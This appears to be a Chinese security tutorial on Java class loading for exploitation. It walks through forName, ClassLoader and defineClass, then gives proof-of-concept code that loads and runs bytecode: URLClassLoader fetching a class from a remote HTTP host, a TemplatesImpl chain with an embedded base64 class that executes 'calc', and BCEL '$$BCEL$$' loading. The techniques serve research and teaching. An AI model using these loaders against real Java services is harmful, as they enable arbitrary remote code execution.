前言
Java类加载是Java虚拟机(JVM)将类的字节码文件加载到内存,并在运行时动态创建类的过程。类加载是Java语言的核心机制之一,对于理解Java程序的执行过程至关重要。本文将介绍Java类加载的过程、测试和分析,同时探讨ClassLoader的使用、URLClassLoader的任意类加载以及defineClass方法的应用。最后,还会探讨TemplatesImpl和BCEL ClassLoader加载字节码的情况。
声明:文章中涉及的内容可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
什么是类加载?
将类的字节码文件加载到内存中,并在运行时创建类的对象和执行类的方法的过程。
javac是用于将源码文件.java编译成对应的字节码文件.class,其过程大致为:
词法和语法分析----语义分析---中间代码生成---优化---生成目标代码
类加载过程
-
加载(Loading):加载是指将类的字节码文件从磁盘或网络读取到内存中的过程。当程序要使用某个类时,如果该类还没有被加载到内存中,JVM会通过类加载器查找并加载类的字节码文件。加载完成后,JVM会在内存中生成一个代表该类的Class对象。
-
验证(Verification):验证是确保加载的类的字节码符合Java语言规范和安全性要求的过程。验证阶段包括对字节码的结构检查、语义检查、字节码的数据流分析等。
-
准备(Preparation):准备是为类的静态变量分配内存并设置默认初始值的过程。在这个阶段,JVM为静态变量分配了内存空间,但还没有赋予初始值。
-
解析(Resolution):解析是将常量池中的符号引用转换为直接引用的过程。在解析阶段,符号引用(如类、方法、字段的符号名称)会被替换为直接引用(在内存中的具体地址或指针)。
-
初始化(Initialization):初始化是执行类构造器()的过程,包括静态变量赋值和静态代码块的执行。在这个阶段,JVM会按照程序中的顺序执行类的静态变量赋值和静态代码块。
-
使用(Usage):在初始化完成之后,就可以使用类了。使用包括创建类的实例、调用类的方法等操作。当程序需要使用某个类时,虚拟机会检查该类是否已经加载和初始化,如果没有,则会触发相应的加载和初始化操作。
-
卸载(Unloading):在特定情况下,类可能会被从内存中卸载,释放资源。当一个类或类的Class对象不再被引用,并且没有任何其他活跃的引用链指向该类时,JVM会判定该类是可卸载的。类的卸载由垃圾回收器负责,它会在适当的时间进行类的卸载操作,释放内存资源
类加载测试
先写一个student类
package com.garck3h.ccChain3;
import java.io.Serializable;
/**
* Created by IntelliJ IDEA.
*
* @Author: Garck3h
* @Date: 2023/8/8
* @Time: 23:17
* Life is endless, and there is no end to it.
**/
public class Student implements Serializable {
public String name;
private int age;
public static int id;
static {
System.out.println("静态代码块");
}
public static void staticFunction(){
System.out.println("静态方法");
}
{
System.out.println("构造代码块");
}
public Student(){
System.out.println("无参构造函数Student");
}
public Student(String name, int age) {
System.out.println("有参构造函数Student");
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Student{" +
"name='" + name + ''' +
", age=" + age +
'}';
}
private void action(String act) {
System.out.println(act);
}
}
调用无参的构造方法 :new Student
调用有参的构造方法 :new Student("张三",18);
Student.staticFunction();
静态代码块
静态方法
Student.id = 18;
静态代码块
Class c = Student.class;
无
forName类加载分析
Class.forName("com.garck3h.classloader.Student");
调用了静态代码块,也就是说进行了初始化的操作。我们跟进去看一下是怎么实现的,发现是调用了forName0
继续跟进去看一下forName0
这上面还有一个完整版的重载的forname;name:要加载的类的全限类名;initialize:是否在加载类时执行类的静态初始化代码;loader:用于加载类的ClassLoader对象。
我们调用一下这个重载的forname,我们在第二个参数里面设置了false,也就是不会进行初始化。
ClassLoader clazz = ClassLoader.getSystemClassLoader();
Class.forName("com.garck3h.classloader.Student",false,clazz);
进行实例化;发现可以都加载了。也就是说,forname是可以手动选择是否进行初始化的,底层也是使用的ClassLoader。
ClassLoader clazz = ClassLoader.getSystemClassLoader();
Class<?> c = Class.forName("com.garck3h.classloader.Student",false,clazz);
c.newInstance();
研究ClassLoader
看一下我们之前获取到的系统当前的加载器的clazz,打印发现是Launcher里面的内置类:AppClassLoader
此时需要引入Java的双亲委派模型:在这个模型中,每个类加载器都有一个父类加载器,当类加载器需要加载某个类时,它会首先委托给其父类加载器进行加载,只有在父类加载器无法加载该类时,才会由当前类加载器自己去加载。
在Java中,有三种主要的类加载器:
-
启动类加载器(Bootstrap Class Loader):负责加载Java核心类库,它是由C++实现的,是整个类加载器层次结构的顶层。 -
扩展类加载器(Extension Class Loader):用来加载Java的扩展类库,默认情况下加载JAVA_HOME/jre/lib/ext目录下的类库。 -
应用程序类加载器(Application Class Loader):也称为系统类加载器,负责加载应用程序的类,是开发者自定义的类加载器。它通常从CLASSPATH环境变量所指定的目录或JAR文件中加载类。
当需要加载一个类时,一般会按照以下顺序进行委派:
应用程序类加载器 -> 扩展类加载器 -> 启动类加载器
跟进到ClassLoader
我们一直跟进(中间的忽略),发现跟到了ClassLoader的defineClass完成了类的加载
这部分已经是C语言写的底层了,实现的是将给定的字节码数组转换成一个类,并生成对应的Class对象。
ctrl+h
类加载机制总结
1、类加载与反序列化
类加载的时候会执行代码
初始化:静态代码块
实例化:构造代码块、无参构造函数
2、动态类加载方法
Class.forname
初始化/不初始化
ClassLoader.loadClass不进行初始化
底层的原理,实现加载任意的类
ClassLoader--SecureClassLoader--URLClassLoader--AppClassLoader
loadClass--findClass--defineClass(从字节码加载)
URLClassLoaer任意类加载
我们实现以下从url里面加载类进行实例化。
我们先创建一个弹计算器的类,然后Javac进行编译为class文件
public class Calc {
public Calc(){
try{
Process pc = Runtime.getRuntime().exec("calc.exe");
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Calc e = new Calc();
}
}
然后用python在编译好的目录起一个web
实现的代码
//URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\down\")});
//RLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///D:\down\Calc.jar!/")});
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://192.168.1.7/")});
Class<?> clazz = urlClassLoader.loadClass("Calc");
clazz.newInstance();
defineClass的使用
我们上面是跟到defineClass,然后在defineClass中直接实现了类加载。这里通过反射来调用它实现类加载。
ClassLoader cl = ClassLoader.getSystemClassLoader(); //获取系统类加载器
//获取defineClass方法的引用
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true); //设置访问权限为可访问
byte[] code = Files.readAllBytes(Paths.get("D:\down\Calc.class")); //读取字节码文件的内容,将其存储在code字节数组中
Class clazz = (Class) defineClassMethod.invoke(cl, "Calc", code, 0, code.length);//传入类名Calc、字节码数组 code、长度
clazz.newInstance();
这里我们就实现了传入字节码byte实现加载字节流里面的类来进行实例化,在不出网,不能调用url的时候,可以通过发送字节流来实现执行任意代码。
不出网的时候,常用的两个方法:bcel、Templatesimpl;都是使用了defineClass动态加载类。
我们发现ClassLoader里面的defineClass () 被调用时是没有进行初始化的,即使是写在静态代码块static的也不可以。需要使用newInstance来调用其构造方法进行实例化。
使用newInstance即可调用构造函数来实例化
这个问题需要怎么解决呢?下面我们就来说一下另外这两种方式的加载。
TemplatesImpl加载字节码
上面我们说了defineClass一般很难利用到,所以我们这里就来说一下TemplatesImpl。
在TemplatesImpl的 newTransformer是入口点
跟进到getTransletInstance
继续跟进defineTransletClasses,最终在414行里面调用了loader的defineClass
我们跟进去看看;发现它没有声明其作用域,所以具有默认的包级访问权限。
此时完整的利用链是:
TemplatesImpl
#newTransformer()
TemplatesImpl
#getTransletInstance()
TemplatesImpl
#defineTransletClasses()
TemplatesImpl
TransletClassLoader
#defineClass()
我们来尝试满足它的条件把该链利用起来。当走进getTransletInstance;需要满足_name不能为空null;_class需要等于 null
然后才可以进入到defineTransletClasses;紧接着是_bytecodes不能为空,
然后就是再需要一个的TransformerFactoryImpl类型的_tfactory
这些属性都是私有的,所以我们需要通过反射来修改。写一个方法,把修改属性的代码封装起来。只要传入对象、属性名称和要设置属性值即可。
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
分别设置上述的四个属性的值
public static void main(String[] args) throws Exception {
byte[] codes = Base64.getDecoder().decode("base64编码后的字节码");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","Calc");
setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}
cmd生成base64字节码文件
certutil -encode "Calc.class" "Calc_base64.txt"
运行后发现报错了
研究后发现,要求字节码必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类
下面我们创建个子类来生成字节码
package com.garck3h.classloader;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class ByteClass extends AbstractTranslet {
public static void main(String[] args) throws IOException {
ByteClass byteClass = new ByteClass();
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public ByteClass() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
最终的POC为
package com.garck3h.classloader;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class TemplatesImplDFC {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAJAcAFgoAAQAXCgAHABcKABgAGQgAGgoAGAAbBwAcAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAHQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAHgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAOQnl0ZUNsYXNzLmphdmEBACFjb20vZ2FyY2szaC9jbGFzc2xvYWRlci9CeXRlQ2xhc3MMABIAEwcAHwwAIAAhAQAEY2FsYwwAIgAjAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEAAQAHAAAAAAAEAAkACAAJAAIACgAAACUAAgACAAAACbsAAVm3AAJMsQAAAAEACwAAAAoAAgAAAA0ACAAOAAwAAAAEAAEADQABAA4ADwACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEgAMAAAABAABABAAAQAOABEAAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABcADAAAAAQAAQAQAAEAEgATAAIACgAAAC4AAgABAAAADiq3AAO4AAQSBbYABlexAAAAAQALAAAADgADAAAAGAAEABkADQAaAAwAAAAEAAEADQABABQAAAACABU");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","xxx");
setFieldValue(templates,"_bytecodes",new byte[][]{codes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}
}
BCEL ClassLoader加载字节码
BCEL 提供了一种方便的方式来操作字节码,使开发人员能够在运行时生成、修改和操作字节码,从而实现对 Java 类的动态修改和定制。它也是调用 defineClass 方法加载字节码,但需要注意的是在Java 8u251以后,该类被删除。
在ClassLoader.loadClass()中,检查该类名是否包含特殊字符串"$$BCEL$$",如果是的话,会调用 createClass 方法创建该类。
我们跟进createClass;此方法会查找字符串"$$BCEL$$"来确定实际类名的起始位置;然后尝试解码实际类名,将其转换为字节数组,然后返回clazz
测试弹计算器:CalcTest.java
public class CalcTest {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {}
}
}
test.java
package com.garck3h.classloader;
import java.io.IOException;
public class test {
public test() throws IOException {
Runtime.getRuntime().exec("calc");
diaplay();
}
public static void diaplay(){
System.out.println("hello world!");
}
}
然后将CalcTest生成BCEL形式的字节码.
一般通过BCEL提供的两个类Repository 和Utility 来利用;可以通过Repository查找已加载的类、加载新的类、获取类的信息等操作;这里用于将一个Java Class先转换成原生字节码。Utility类是BCEL提供的一个工具类,其中包含了各种用于处理字节码的实用方法。它提供了字节码转换、解码、编码、类型转换等功能;这里用于将原生的字节码转换成BCEL格式的字节码。
package com.garck3h.classloader;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
public class BCELDFC {
public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
//方式一:
JavaClass javaClass = Repository.lookupClass(test.class);
String code1 = Utility.encode(javaClass.getBytes(), true);
System.out.println(code1);
new ClassLoader().loadClass("$$BCEL$$" + code1).newInstance();
//方式二:
// byte[] codebyte = Files.readAllBytes(Paths.get("D:\down\CalcTest.class"));
// String code2 = Utility.encode(codebyte, true);
// System.out.println(code2);
// new ClassLoader().loadClass("$$BCEL$$" + code2).newInstance();
}
}
方式一:(加载的恶意类需要同一个包,否则没法识别)
方式二:
总结
1.主要分析了类加载的时候,哪些代码块是初始化的。
2.分析了forname加载的过程,发现初始化是可控的,最终底层是调用了ClassLoader进行加载。
3.分析了ClassLoader,发现最底层是defineClass进行加载
4.使用URLClassLoaer进行任意类加载;通过反射使用defineClass
5.最后研究了两种利用方式
参考:
1.https://segmentfault.com/a/1190000023876273
2.https://www.bilibili.com/video/BV16h411z7o9?p=4
3.https://juejin.cn/post/6844903838927814669
4.https://blog.csdn.net/Thunderclap_/article/details/128901126
原文始发于微信公众号(pentest):Java安全之类加载分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论